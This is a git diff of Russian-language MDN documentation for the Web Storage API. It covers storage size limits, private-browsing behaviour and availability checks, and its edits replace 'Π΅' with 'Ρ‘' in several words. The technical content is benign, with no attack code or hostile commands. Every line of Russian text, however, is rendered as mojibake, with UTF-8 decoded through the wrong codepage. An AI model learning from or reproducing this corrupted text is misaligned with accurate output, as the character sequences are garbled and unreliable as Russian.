-<p>Π£ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° свои ΠΎΠ±ΡŠΠ΅ΠΌΡ‹ localStorage ΠΈ sessionStorage. Π—Π΄Π΅ΡΡŒ ΠΎΠ±Β <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничСниях размСров Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>Π£ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° свои ΠΎΠ±ΡŠΡ‘ΠΌΡ‹ localStorage ΠΈ sessionStorage. Π—Π΄Π΅ΡΡŒ ΠΎΠ±Β <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничСниях размСров Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong> Начиная с вСрсии iOS 5.1, Safari Mobile Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ localStorage Π² cache Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, которая врСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ подчищаСтся систСмой, Π² основном ΠΊΠΎΠ³Π΄Π° кончаСтся мСсто.</p>
@@ -128,11 +128,11 @@ translation_of: Web/API/Web_Storage_API
<h2 id="ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ_Ρ€Π΅ΠΆΠΈΠΌΠ˜Π½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ">ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ/Π˜Π½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ</h2>
-<p>МногиС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π² наши Π΄Π½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΎΠΏΡ†ΠΈΠΈ приватности, Π½Π°Π·Π²Π°Π½Π½Ρ‹Π΅ "Π˜Π½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ" ΠΈΠ»ΠΈ "ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ просмотр" ΠΈ Ρ‚.ΠΏ., Ρ‡Ρ‚ΠΎ позволяСт Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎ слСдов ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠΉ сСссии Π½Π΅ остаСтся послС закрытия Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π­Ρ‚ΠΎ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π’Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ΠΌ ΠΏΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ.Β Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ сцСнариями,Β ΠΊΠ°ΠΊ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡΒ Ρ этой Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ.</p>
+<p>МногиС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π² наши Π΄Π½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΎΠΏΡ†ΠΈΠΈ приватности, Π½Π°Π·Π²Π°Π½Π½Ρ‹Π΅ "Π˜Π½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ" ΠΈΠ»ΠΈ "ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ просмотр" ΠΈ Ρ‚.ΠΏ., Ρ‡Ρ‚ΠΎ позволяСт Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎ слСдов ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠΉ сСссии Π½Π΅ остаётся послС закрытия Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π­Ρ‚ΠΎ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π’Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ΠΌ ΠΏΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ.Β Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ сцСнариями,Β ΠΊΠ°ΠΊ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡΒ Ρ этой Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ.</p>
<p>МногиС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ ΡΡ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π°Β API Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° доступно ΠΈ каТСтся ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ, с ΠΎΠ΄Π½ΠΈΠΌ большим ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ - всС данныС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΡΡ‚ΠΈΡ€Π°ΡŽΡ‚ΡΡ послС закрытия Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Для этих Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ слСдуСт Π΄Π΅Π»Π°Ρ‚ΡŒ с Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ Π»ΠΈ ΠΈΠΌ Π±Ρ‹Ρ‚ΡŒ доступными Π² ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅? Π—Π°Ρ‚Π΅ΠΌ, Π΅ΡΡ‚ΡŒ нСсколько Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², особСнно Safari, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ доступно, Π½ΠΎ пустоС ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠ²ΠΎΡ‚Ρƒ 0 Π±Π°ΠΉΡ‚, фактичСски, дСлая Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ запись Ρ‚ΡƒΠ΄Π° Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ освСдомлСны ΠΎΠ± этих Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… рСализациях и ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ ΠΈΡ… Π²ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π²Π΅Π±-сайтов, зависящих ΠΎΡ‚ API Π’Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°. Для получСния Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, поТалуйста, посмотритС Π½Π°Β <a href="https://blog.whatwg.org/tag/localstorage">этот пост Π±Π»ΠΎΠ³Π°Β WHATWG</a>, ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ посвящСнный этой Ρ‚Π΅ΠΌΠ΅.</p>
+<p>Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ освСдомлСны ΠΎΠ± этих Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… рСализациях и ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ ΠΈΡ… Π²ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π²Π΅Π±-сайтов, зависящих ΠΎΡ‚ API Π’Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°. Для получСния Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, поТалуйста, посмотритС Π½Π°Β <a href="https://blog.whatwg.org/tag/localstorage">этот пост Π±Π»ΠΎΠ³Π°Β WHATWG</a>, ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ посвящённый этой Ρ‚Π΅ΠΌΠ΅.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
index 2048019f7c..882f40200d 100644
--- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
+++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
@@ -23,7 +23,7 @@ localStorage.setItem('colorSetting', '#a4509b');
<li><code>(localStorage)</code>Β Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС, Π½ΠΎ сохраняСт Π΄Π°Π½Π½Ρ‹Π΅ Π΄Π°ΠΆΠ΅ Π² случаС, Ссли ΠΏΠ΅Ρ€Π΅ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.Β </li>
</ul>
-<p>Оба ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° доступны Ρ‡Π΅Ρ€Π΅Π·Β Β {{domxref("Window.sessionStorage")}} ΠΈ {{domxref("Window.localStorage")}} свойства (Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Π² Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Window</code>Β  Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅Ρ‚Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code>WindowLocalStorage</code>ΠΈΒ <code>WindowSessionStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат свойства <code>localStorage</code>ΠΈΒ <code>sessionStorage</code>) β€” Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… создаСт экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Storage, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅. Π Π°Π·Π½Ρ‹Π΅Β Storage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>sessionStorage</code> ΠΈ <code>localStorage поэтому ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡΒ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π΄Π΅Π»ΡŒΠ½ΠΎΒ </code></p>
+<p>Оба ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° доступны Ρ‡Π΅Ρ€Π΅Π·Β Β {{domxref("Window.sessionStorage")}} ΠΈ {{domxref("Window.localStorage")}} свойства (Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Π² Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Window</code>Β  Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅Ρ‚Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code>WindowLocalStorage</code>ΠΈΒ <code>WindowSessionStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат свойства <code>localStorage</code>ΠΈΒ <code>sessionStorage</code>) β€” Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… создаёт экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Storage, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅. Π Π°Π·Π½Ρ‹Π΅Β Storage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>sessionStorage</code> ΠΈ <code>localStorage поэтому ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡΒ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π΄Π΅Π»ΡŒΠ½ΠΎΒ </code></p>
<p>Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹Π·ΠΎΠ²Β <code>localStorage</code> Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{domxref("Storage")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚; Π²Ρ‹Π·ΠΎΠ²Β <code>sessionStorage</code> Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β Π΄Ρ€ΡƒΠ³ΠΎΠΉ {{domxref("Storage")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Оба ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, Π½ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.</p>
@@ -33,7 +33,7 @@ localStorage.setItem('colorSetting', '#a4509b');
<h3 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Π½Π°_Π½Π°Π»ΠΈΡ‡ΠΈΠ΅">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅</h3>
-<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ localStorage Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ свойство localStorage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° window. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ ΠΏΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, простоС ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это свойство сущСствуСт, ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅. Если localStorage сущСствуСт это Π΅Ρ‰Π΅ Π½Π΅ Π΄Π°Π΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ доступно,Β  Ρ‚.ΠΊ. Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Π»Π°Π΄Π°ΡŽΡ‚ настройками ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π΅Π³ΠΎ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ localStorage, Π½ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π΅Π³ΠΎ доступным для скриптов Π½Π° страницС. Один ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ…Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Safari, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² Private Browsing mode Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½Π°ΠΌ пустой localStorage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, фактичСски дСлая Сго Π½Π΅ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΌ для использования . Наша функция долТна ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π²ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ этот сцСнарий.Β </p>
+<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ localStorage Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ свойство localStorage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° window. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ ΠΏΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, простоС ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это свойство сущСствуСт, ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅. Если localStorage сущСствуСт это Π΅Ρ‰Ρ‘ Π½Π΅ Π΄Π°Ρ‘Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ доступно,Β  Ρ‚.ΠΊ. Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Π»Π°Π΄Π°ΡŽΡ‚ настройками ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π΅Π³ΠΎ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ localStorage, Π½ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π΅Π³ΠΎ доступным для скриптов Π½Π° страницС. Один ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ…Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Safari, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² Private Browsing mode Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½Π°ΠΌ пустой localStorage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, фактичСски дСлая Сго Π½Π΅ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΌ для использования . Наша функция долТна ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π²ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ этот сцСнарий.Β </p>
<p>Ѐункция, которая провСряСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΈ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒΒ localStorage:</p>
@@ -65,19 +65,19 @@ else {
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ΅ использованиС Web storage, ΠΌΡ‹ создали простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎΒ <strong>Web Storage Demo.Β </strong>На <a href="https://mdn.github.io/dom-examples/web-storage/">Ρ†Π΅Π»Π΅Π²ΠΎΠΉ страницС</a> прСдставлСны элСмСнты управлСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для настройки Ρ†Π²Π΅Ρ‚Π°, ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ изобраТСния:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда Π²Ρ‹Β Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅Β Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ, страница Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ пСрСзагруТаСтся; Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ваш Π²Ρ‹Π±ΠΎΡ€ сохраняСтся Π² localStorage, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎΠΊΠΈΠ΄Π°Π΅Ρ‚Π΅ страницу ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚Π΅ Π΅Π΅ снова спустя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, ваши ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹Β ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ.</p>
